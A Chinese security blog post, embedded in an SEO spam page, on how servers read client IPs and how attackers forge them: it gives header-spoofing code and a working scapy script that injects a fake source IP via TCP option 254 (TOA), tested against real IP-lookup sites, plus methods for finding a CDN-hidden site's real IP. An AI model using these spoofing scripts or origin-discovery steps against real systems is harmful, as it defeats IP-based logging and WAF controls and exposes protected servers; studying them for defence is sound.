当前位置: 首页 > news >正文

上海手机网站开发价格收录优美的图片

上海手机网站开发价格,收录优美的图片,建设一个网站选择的服务器,人力外包公司有哪些目录 真实ip获取应用层网络层网络连接TOAproxy protocol ip伪造应用层网络层TOA攻击proxy protocol 隐藏代理 挖掘代理多地ping历史DNS解析记录国外主机解析域名网站RSS订阅网络空间搜索引擎 总结参考 本篇文章学习一下如何服务如何获取真实ip,隐藏自己的ip&#xf…

目录

  • 真实ip获取
    • 应用层
    • 网络层
      • 网络连接
      • TOA
      • proxy protocol
  • ip伪造
    • 应用层
    • 网络层
      • TOA攻击
      • proxy protocol
  • 隐藏
    • 代理
  • 挖掘
    • 代理
      • 多地ping
      • 历史DNS解析记录
      • 国外主机解析域名
      • 网站RSS订阅
      • 网络空间搜索引擎
  • 总结
  • 参考


本篇文章学习一下如何服务如何获取真实ip,隐藏自己的ip,攻击者如何伪造ip,挖掘出真实ip。

真实ip获取

应用层

这里以web为例,以下是一个简单的http服务器,获取真实ip
httpserver.py

from http.server import BaseHTTPRequestHandler, HTTPServerclass MyHTTPRequestHandler(BaseHTTPRequestHandler):def do_GET(self):self.send_response(200)self.send_header('Content-type', 'text/html')self.end_headers()# 获取真实IP地址ip = self.headers.get('X-Forwarded-For', self.client_address[0])# 返回真实IP地址self.wfile.write(bytes(ip, 'utf-8'))def run_server():host = '0.0.0.0'port = 8000server = HTTPServer((host, port), MyHTTPRequestHandler)print(f'Starting server on {host}:{port}...')try:server.serve_forever()except KeyboardInterrupt:passserver.server_close()print('Server stopped.')if __name__ == '__main__':run_server()

服务器启动代码

python3 httpserver.py

如果有这个X-Forwarded-For,就用这个,否则就用client_address[0]

客户端代码

import requests
url = 'http://127.0.0.1:8000'
headers = {'X-Forwarded-For': '192.168.1.1'}
response = requests.get(url, headers=headers)
print(response.text)

结果截图
在这里插入图片描述

网络层

网络连接

还是上面的代码,通过网络连接获取真实ip

不带header再次发送
在这里插入图片描述
通过网络连接获取真实ip当然很简单,也真实,但是往往客户端与服务器不是直接连通,中间有LB、CDN等。

雷池WAF就是通过连接获取请求者源IP的。
在这里插入图片描述

TOA

有些产品会把ip放到TOA(TCP Options),转发给下游,例如LB(Load Balancer),因此,下游服务获取真实ip时需要从TOA中获取
在这里插入图片描述

proxy protocol

有v1 v2两个版本,都存在伪造问题,且主流LB没有使用这种方式,仅nginx这种开源的看到了,所以没有深究,请查看参考。

ip伪造

应用层

以WEB为例,修改header即可。

import requests
url = 'http://127.0.0.1:8000'
headers = {'X-Forwarded-For': '8.8.8.8'}
response = requests.get(url, headers=headers)
print(response.text)

截图
在这里插入图片描述

网络层

TOA攻击

一些服务会通过TOA来获取真实ip,因此,可以通过修改TCP的选项(Options)来隐藏真实ip。
这里使用的是linux下方式,修改所有包,工具见参考。
首先,我先试验了一下,使用自己宿主机的服务器,抓包查看
在这里插入图片描述
在这里插入图片描述
发现确实有修改,Options字段有值,之后找了几个查ip的网站,发现ip138不受影响,另一个网站是被欺骗了。

 curl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla            /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://2023.ip138.com | grep 您的IPcurl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla            /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://zh-hans.ipshu.com/my_info | grep 下面是你的公            开IP

截图如下:
在这里插入图片描述
windows下可以自己写脚本来进行toa的修改

fake_toa.py

from scapy.all import *
import socket
import struct# 目标域名和端口
target_ip = '106.63.19.14'
target_port = 443# 伪造的源 IP 地址
fake_ip = '111.111.111.222'# 将伪造的 IP 地址转换为整数
fake_ip_as_int = struct.unpack("!I", socket.inet_aton(fake_ip))[0]# 创建自定义的 TCP 选项
option_254 = (254, b'\x00\x50' + struct.pack('!I', fake_ip_as_int))# 创建 IP 层
ip_layer = IP(dst=target_ip)# 创建 TCP 层,不添加 TCP 选项
syn = TCP(sport=RandShort(), dport=target_port, flags='S')# 组合 IP 层和 TCP 层,发送 SYN 数据包
syn_ack = sr1(ip_layer / syn)# 检查是否收到 SYN+ACK 数据包
if syn_ack[TCP].flags == 'SA':# 创建 ACK 数据包,也不添加 TCP 选项ack = TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='A', seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1)# 发送 ACK 数据包send(ip_layer / ack)# 创建 HTTP 请求,只包含 Host 头部# http_request = 'GET /ip/local/geo/v1/district HTTP/1.1\r\n' \#                'Host: qifu-api.baidubce.com\r\n\r\n'http_request = 'GET / HTTP/1.1\r\n' \'Host: 2023.ip138.com\r\n\r\n' \# 创建 HTTP 数据包,这次在 TCP 层添加自定义的选项http_packet = ip_layer / TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='PA', seq=syn_ack[TCP].ack,ack=syn_ack[TCP].seq + 1, options=[option_254]) / Raw(load=http_request)# 接收 HTTP 响应http_response = sr1(http_packet)# 打印 HTTP 响应if http_response:print(http_response.show())else:print('No response')
else:print('Did not receive SYN+ACK. Received: {}'.format(syn_ack[TCP].flags))

在这里插入图片描述
在这里插入图片描述
抓包可以看到,确实添加了Options字段的内容

proxy protocol

有v1、v2两个版本,都可以伪造,用的不多也没找到开源工具就没深究了。

隐藏

代理

比较宽泛,无法列举全。例如,使用cdn来隐藏自己服务器的ip,使用“梯子”做中间人来访问一些你的ip无法访问的网站,或者开四层、七层代理做转发,使用LB来做负载均衡的同时隐藏后端服务ip等

挖掘

代理

以cdn为例,这里找了一个博客网站,尝试获取真实ip

多地ping

在这里插入图片描述
可以看到使用了腾讯云的CDN

历史DNS解析记录

查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录
在这里插入图片描述

国外主机解析域名

有的网站负责人为了省钱,只对国内使用cdn,于是国外的流量都直接打到了真实服务器上。第一步ping的时候有了,国外也是通过cdn的。

网站RSS订阅

有的网站可以邮件订阅RSS,发送邮件的服务器就是使用网站所在的服务器,这里该网站没有此功能,失败。

网络空间搜索引擎

这里使用了zoomeye,我查ip没有显示cdn,以为成功了,问了博客作者,还是cdn的ip
在这里插入图片描述

总结

  1. proxy protocol没有研究,和TOA差不多,按照协议发包就行了,实现就交给读者吧。
  2. TOA的伪造方式还是不错的,非linux下没有btftools,可以自己写一个代理,把浏览器的流量转发到本地代理,代理的功能就是把TOA改一下。
  3. 一些代理隐藏ip还是不错的,除非网站从开始没有使用cdn、部分使用cdn,或网站服务器有其他服务导致真实ip发出包了。该博客作者我也问了,一开始就使用了CDN,也没有其他子域名、服务,应该是无法找到真实IP了。

参考

长亭-雷池WAF

阿里云-DCDN获取真实ip

github-cloudproxy
github-FakeToa

github-xcdn
网络-TCP协议详解自学笔记(例题、代码、实战)
华为云-TOA插件配置

Github-FakeToa
NGC660安全实验室-IP伪造技术探究

proxy protocol文档
nginx-proxy protocol设置

站长工具-多地ping
微步在线-DNS解析
网络空间搜索引擎-zoomeye
博客网站

http://www.ds6.com.cn/news/15904.html

相关文章:

  • 企业网站建设费用财务处理百度搜索指数是怎么计算的
  • 网站系统繁忙百度一下官方入口
  • 大型网站开发费用重庆排名优化整站优化
  • 男女性做那个视频网站今日重大事件
  • 网站策划的内容怎么做好网络销售
  • 如何开一家自己的公司外贸网站建设优化
  • 企业网站建设合同 百度文库百度关键词排名点
  • 烟台市牟平区建设局网站太原seo排名收费
  • 网站二次开发模板关键词优化排名网站
  • 初中生如何做网站优化排名推广教程网站
  • 网页制作简明教程seo是什么意思新手怎么做seo
  • 浅谈中兴电子商务网站建设互动营销
  • 做微信的微网站费用互联网媒体广告公司
  • 深圳web前端工资一般多少百度 seo 工具
  • 政府网站建设最重要的是专业营销团队公司
  • 成都青羊区网站建设徐州百度快照优化
  • 广西高端网站建设seo优化方式包括
  • 自己可以做类似淘宝客网站吗河北百度seo关键词排名
  • 网站互点可以自己点么重庆网络seo
  • 河南建设教育中心网站seo是什么意思seo是什么职位
  • 针对人群不同,网站做细分app开发公司哪家好
  • 深圳高端保姆公司北京seo助理
  • 网站HTML怎么做链接国内真正的永久免费砖石
  • 做网站需要做优化吗竞价关键词优化软件
  • 企业网站哪家好全球新冠疫情最新消息
  • 网赌网站怎么做seo分析及优化建议
  • 苹果手机怎么做ppt下载网站吗seo免费外链工具
  • 学校网站建设培训网页模板下载
  • 百度推广做的网站可以用吗北京百度seo排名点击器
  • 网站description营销策划案例